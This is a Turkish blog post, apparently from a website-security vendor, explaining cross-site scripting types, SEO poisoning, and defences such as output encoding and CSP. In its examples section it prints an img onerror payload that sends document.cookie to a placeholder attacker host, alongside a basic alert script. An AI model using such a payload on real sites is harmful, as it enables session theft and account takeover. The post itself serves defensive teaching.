SiteGüvenlik
Blog'a dön
·8 dk okuma

XSS Açığı Nedir? Cross-Site Scripting Saldırıları ve Korunma

XSS (Cross-Site Scripting), saldırganların web sayfalarına zararlı JavaScript kodu enjekte etmesiyle gerçekleşen bir güvenlik açığıdır. Kurbanın tarayıcısında bu kod çalışır ve çerezleri, oturum bilgilerini veya tuş vuruşlarını çalabilir. XSS açığı, web uygulama güvenliğinde en yaygın açıklardan biridir.

XSS Açığı Nedir ve Nasıl Çalışır?

XSS, uygulamanın kullanıcı girdisini filtrelemeden HTML çıktısına eklemesiyle oluşur. Örneğin bir yorum kutusuna <script>alert('XSS')</script> yazıldığında, bu kod sayfada çalışırsa XSS açığı vardır. Saldırgan, document.cookie ile oturum çerezini çalıp kendi sunucusuna gönderebilir.

XSS Türleri

Reflected (Yansıtılmış) XSS

Zararlı kod, URL parametresi veya form gönderimi ile sunucuya gider ve hemen yanıtta yansıtılır. Phishing e-postasındaki linke tıklayan kullanıcı kurban olur. Tek seferlik saldırıdır, kalıcı değildir. Arama çubuğu, hata mesajları ve URL tabanlı sayfalar sık hedeflerdir.

Stored (Depolanmış) XSS

Zararlı kod veritabanına kaydedilir ve her sayfa yüklendiğinde çalışır. Yorumlar, forum mesajları, kullanıcı profilleri risk altındadır. En tehlikeli türdür çünkü tek enjeksiyonla binlerce kullanıcıyı etkileyebilir.

DOM-based XSS

Sunucu tarafı değil, istemci tarafı JavaScript kodu açığa neden olur. document.location, innerHTML gibi DOM API'leri kullanıldığında, URL'den gelen veri doğrudan sayfaya yazılırsa DOM-based XSS oluşur. Sunucu yanıtında açık görünmez, tespiti daha zordur.

XSS Saldırı Örnekleri

Basit bir örnek: <img src=x onerror="fetch('https://saldirgan.com/steal?c='+document.cookie)"> Bu kod, resim yüklenemeyince çalışır ve çerezleri saldırgana gönderir. Keylogger veya phishing sayfası yönlendirmesi de yaygın XSS senaryolarıdır.

XSS ve SEO Zehirlenmesi

Saldırganlar XSS ile SEO zehirlenmesi (SEO poisoning) yapabilir. Sayfaya gizli spam linkler veya zararlı içerik enjekte edilir; arama motorları bunu indeksler ve sitenizin itibarı zedelenir. Google Safe Browsing sitenizi tehlikeli olarak işaretleyebilir. Bu nedenle XSS açıklarını acilen kapatmak önemlidir.

Korunma Yöntemleri

Çıktı kodlaması (Output Encoding) uygulayın. Kullanıcı girdisini HTML'e yazarken htmlspecialchars, encodeURIComponent veya benzeri fonksiyonlarla escape edin. Content-Security-Policy (CSP) başlığı ile inline script'leri kısıtlayın. HttpOnly ve Secure çerez bayrakları, çerez çalınmasını zorlaştırır.

Girdi doğrulama yapın; sadece beklenen formatı kabul edin. Rich text editörlerde whitelist tabanlı HTML filtreleme (DOMPurify gibi) kullanın. Düzenli XSS taraması ile açıkları tespit edin. SiteGüvenlikTesti XSS modülü ile sitenizi ücretsiz tarayabilirsiniz.